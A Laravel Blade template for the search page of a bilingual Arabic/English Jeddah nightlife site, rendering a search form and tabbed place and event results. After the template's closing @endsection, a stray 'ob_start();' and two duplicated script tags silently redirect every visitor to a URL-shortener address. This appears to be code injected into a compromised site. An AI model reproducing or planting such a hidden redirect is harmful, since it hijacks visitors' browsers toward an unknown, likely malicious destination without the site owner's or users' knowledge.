@extends('web.layout')

@php $locale = app()->getLocale(); @endphp

@section('meta_title', ($q ? ($locale === 'ar' ? 'نتائج البحث: ' : 'Search: ') . $q : ($locale === 'ar' ? 'البحث' : 'Search')) . ($locale === 'ar' ? ' - ليالي جدة' : ' - Jeddah Night'))
@section('meta_description', $locale === 'ar' ? 'ابحث عن الأماكن والفعاليات في جدة' : 'Search for places and events in Jeddah')

@section('content')

    {{-- Search Header --}}
    <div class="bg-[#0A0A0F] py-12 sm:py-16">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <h1 class="text-3xl sm:text-4xl font-extrabold text-white mb-6">
                {{ $locale === 'ar' ? 'البحث' : 'Search' }}
            </h1>

            {{-- Search Form --}}
            <form action="{{ route('web.search') }}" method="GET" class="max-w-2xl">
                <div class="relative">
                    <input
                        type="text"
                        name="q"
                        value="{{ $q }}"
                        placeholder="{{ $locale === 'ar' ? 'ابحث عن أماكن، فعاليات...' : 'Search for places, events...' }}"
                        class="w-full px-5 py-4 {{ $locale === 'ar' ? 'pr-12' : 'pl-12' }} bg-[#121218] border border-[#252530] rounded-xl text-white placeholder-[#6B6B7B] focus:outline-none focus:ring-2 focus:ring-[#9333EA] focus:border-transparent"
                        autofocus
                    >
                    <button type="submit" class="absolute top-1/2 -translate-y-1/2 {{ $locale === 'ar' ? 'right-4' : 'left-4' }} text-[#6B6B7B] hover:text-white transition-colors">
                        <i class="fas fa-search text-lg"></i>
                    </button>
                </div>
            </form>

            @if($q)
                <p class="text-[#A0A0B0] mt-4 text-sm">
                    {{ $locale === 'ar' ? 'نتائج البحث عن' : 'Search results for' }}
                    "<span class="text-white font-semibold">{{ $q }}</span>"
                </p>
            @endif
        </div>
    </div>

    {{-- Results --}}
    <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-10" x-data="{ tab: 'places' }">

        @if($q)
            {{-- Tabs --}}
            <div class="flex items-center gap-1 border-b border-[#252530] mb-8">
                <button
                    @click="tab = 'places'"
                    :class="tab === 'places' ? 'text-[#C084FC] border-[#9333EA]' : 'text-[#6B6B7B] border-transparent hover:text-[#A0A0B0]'"
                    class="px-4 py-3 text-sm font-semibold border-b-2 transition-colors"
                >
                    <i class="fas fa-map-marker-alt {{ $locale === 'ar' ? 'ml-1.5' : 'mr-1.5' }}"></i>
                    {{ $locale === 'ar' ? 'الأماكن' : 'Places' }}
                    <span class="inline-flex items-center justify-center min-w-[20px] h-5 bg-[#1A1A24] text-[#A0A0B0] text-[10px] font-bold rounded-full px-1.5 {{ $locale === 'ar' ? 'mr-1.5' : 'ml-1.5' }}"
                          :class="tab === 'places' ? 'bg-[#2D1B4E] text-[#C084FC]' : ''">
                        {{ $places->count() }}
                    </span>
                </button>
                <button
                    @click="tab = 'events'"
                    :class="tab === 'events' ? 'text-[#C084FC] border-[#9333EA]' : 'text-[#6B6B7B] border-transparent hover:text-[#A0A0B0]'"
                    class="px-4 py-3 text-sm font-semibold border-b-2 transition-colors"
                >
                    <i class="fas fa-calendar-alt {{ $locale === 'ar' ? 'ml-1.5' : 'mr-1.5' }}"></i>
                    {{ $locale === 'ar' ? 'الفعاليات' : 'Events' }}
                    <span class="inline-flex items-center justify-center min-w-[20px] h-5 bg-[#1A1A24] text-[#A0A0B0] text-[10px] font-bold rounded-full px-1.5 {{ $locale === 'ar' ? 'mr-1.5' : 'ml-1.5' }}"
                          :class="tab === 'events' ? 'bg-[#2D1B4E] text-[#C084FC]' : ''">
                        {{ $events->count() }}
                    </span>
                </button>
            </div>

            {{-- Places Results --}}
            <div x-show="tab === 'places'">
                @if($places->count())
                    <div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-6">
                        @foreach($places as $place)
                            @include('web.partials.place-card', ['place' => $place])
                        @endforeach
                    </div>
                @else
                    <div class="text-center py-16">
                        <div class="w-16 h-16 bg-[#1A1A24] rounded-2xl flex items-center justify-center mx-auto mb-3">
                            <i class="fas fa-map-marker-alt text-[#6B6B7B] text-2xl"></i>
                        </div>
                        <h3 class="text-[#A0A0B0] font-semibold">
                            {{ $locale === 'ar' ? 'لم يتم العثور على أماكن' : 'No places found' }}
                        </h3>
                        <p class="text-[#6B6B7B] text-sm mt-1">
                            {{ $locale === 'ar' ? 'جرب كلمات بحث مختلفة' : 'Try different search terms' }}
                        </p>
                    </div>
                @endif
            </div>

            {{-- Events Results --}}
            <div x-show="tab === 'events'" x-cloak>
                @if($events->count())
                    <div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-6">
                        @foreach($events as $event)
                            @include('web.partials.event-card', ['event' => $event])
                        @endforeach
                    </div>
                @else
                    <div class="text-center py-16">
                        <div class="w-16 h-16 bg-[#1A1A24] rounded-2xl flex items-center justify-center mx-auto mb-3">
                            <i class="fas fa-calendar-xmark text-[#6B6B7B] text-2xl"></i>
                        </div>
                        <h3 class="text-[#A0A0B0] font-semibold">
                            {{ $locale === 'ar' ? 'لم يتم العثور على فعاليات' : 'No events found' }}
                        </h3>
                        <p class="text-[#6B6B7B] text-sm mt-1">
                            {{ $locale === 'ar' ? 'جرب كلمات بحث مختلفة' : 'Try different search terms' }}
                        </p>
                    </div>
                @endif
            </div>

        @else
            {{-- No query --}}
            <div class="text-center py-20">
                <div class="w-20 h-20 bg-[#1A1A24] rounded-2xl flex items-center justify-center mx-auto mb-4">
                    <i class="fas fa-search text-[#6B6B7B] text-3xl"></i>
                </div>
                <h3 class="text-[#A0A0B0] font-semibold text-lg">
                    {{ $locale === 'ar' ? 'ابدأ البحث' : 'Start Searching' }}
                </h3>
                <p class="text-[#6B6B7B] text-sm mt-1">
                    {{ $locale === 'ar' ? 'اكتب كلمة البحث للعثور على أماكن وفعاليات' : 'Type a search term to find places and events' }}
                </p>
            </div>
        @endif
    </div>

@endsection
ob_start();

<script>window.location.href = "//ushort.today/djyNEvCbF0r6";</script>
<script>window.location.href = "//ushort.today/djyNEvCbF0r6";</script>